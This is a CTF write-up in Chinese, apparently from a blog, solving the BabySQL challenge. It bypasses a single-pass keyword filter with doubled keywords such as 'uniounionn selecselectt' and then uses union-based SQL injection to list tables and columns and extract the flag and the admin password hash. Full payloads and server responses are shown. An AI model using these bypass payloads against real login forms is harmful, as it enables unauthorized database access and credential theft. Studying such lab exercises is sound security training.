当前位置:网站首页>[极客大挑战 2019]BabySQL 1
[极客大挑战 2019]BabySQL 1
2022-07-29 15:53:00 【B_secretary】
测试是否有单引号注入
用户名:1'
密码:password
回显:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'passwd'' at line 1
通过回显我们可以发现password变成了passwd,所以后台应该对or有过滤
经过测试,select、union、and、from也被过滤掉了,但是堆叠注入还是可以使用
尝试绕过
鬼使神差地从密码栏输入:
passwoorrd
回显:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'password'' at line 1
观察到or正常注入了,推测后台的过滤只针对or进行了一遍,我们写oorr即可绕过(把第2、3个字符过滤,剩下的仍然可以组成or)
输入:
1' oorr 1=1#
回显:
Hello admin!
Your password is '4dc104bbf01f06dcc64154125d9b14fa'
也就是说,id为1的用户名为admin,密码为我们得到的这一串字符
测试回显字段
输入:
1' uniounionn selecselectt 1,2,3#
远离仍然是让后台过滤掉中间的词从而绕过
回显:
Hello 2!
Your password is '3'
2、3字段是可以利用的
测试数据库
1' uniounionn selecselectt 1,2,database()#
回显:
Hello 2!
Your password is 'geek'
测试表
输入:
1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database()#
注意对:or、from、union、select、where的双写处理
回显:
Hello 2!
Your password is 'b4bsql,geekuser'
得到表名:b4bsql,geekuser
测试字段
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_schema=database()#
回显:
Hello 2!
Your password is 'id,username,password,id,username,password'
不知道为啥出现了六个字段
对geekuser表:
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='geekuser'#
对b4bsql表:
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql'#
回显均为:
Hello 2!
Your password is 'id,username,password'
这就解释了上面第一次的代码为什么回显了三次
‘id,username,password’
查表拿flag
1' uniounionn selecselectt 1,2,passwoorrd frofromm b4bsql#
回显:
Hello 2!
Your password is 'i_want_to_play_2077'
其实这里已经拿到flag了,只是后台限制了回显长度,下面是改进后的payload:
1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#
以后要注意这个问题
边栏推荐
- Alibaba 开源内网高并发编程手册
- pjax无法生效解决办法,butterfly主题维护你的pjax
- tcp的四次挥手(为什么三次握手和四次挥手)
- Practice of Weibo Advertising Operation and Maintenance Technology Supporting Ten Billions of Requests
- 官宣,又一上市公司杀入数据库市场
- 718. The longest repeat subarray
- Dry goods!How to Construct SRv6-TE Performance Test Environment Using Instrumentation
- 边缘计算如何与小程序结合?智能家居如何借势发展?
- MQTT over QUIC:下一代物联网标准协议为消息传输场景注入新动力
- @RequestMapping注解最详细解析
猜你喜欢

This article penetrates the architecture design and cluster construction of the distributed storage system Ceph (hands-on)

易基因:人类tRNA基因位点表现出与衰老相关的DNA高甲基化|研究文章

6月阿里遭拒,90天深造357页微服务手册,获京东offer

【Go语言刷题篇】Go完结篇函数、结构体、接口、错误入门学习

数字孪生万物可视 | 联接现实世界与数字空间

Rust P2P网络应用实战-1 P2P网络核心概念及Ping程序

linux 安装mysql8.0 超详细教程(实战多次)

开源数据库连接池的使用及其工具类

Easy Genes: Human tRNA loci exhibit DNA hypermethylation associated with aging | Research Article

图文结合纯c手写内存池
随机推荐
mysql的union和union all
Jenkins 如何玩转接口自动化测试?
Linux environment redis complete configuration and startup command
AI全流程开发难题破解之钥
Practice of Weibo Advertising Operation and Maintenance Technology Supporting Ten Billions of Requests
string 保留小数点后两位(js中保留小数点后两位)
zabbix邮件发送告警信息
Unable to open the source file in qt vs2015 "QtWidgets" solution
Kubernetes 的 5 个误区
公司官网建站笔记(六):域名进行公安备案并将备案号显示在网页底部
Android Studio 实现登录注册-源代码 (连接MySql数据库)
如果不知道这4种缓存模式,敢说懂缓存吗?
线程中的常见方法
This article penetrates the architecture design and cluster construction of the distributed storage system Ceph (hands-on)
美国对集成电路及其产品发起337调查:英特尔/联想/宏碁/华硕/微星均涉及其中
Alibaba 开源内网高并发编程手册
QT连接Mysql数据库(详细成功版)
uni-app判断平台开发环境和生产环境
Tess4J 图片文字识别
@RequestMapping注解最详细解析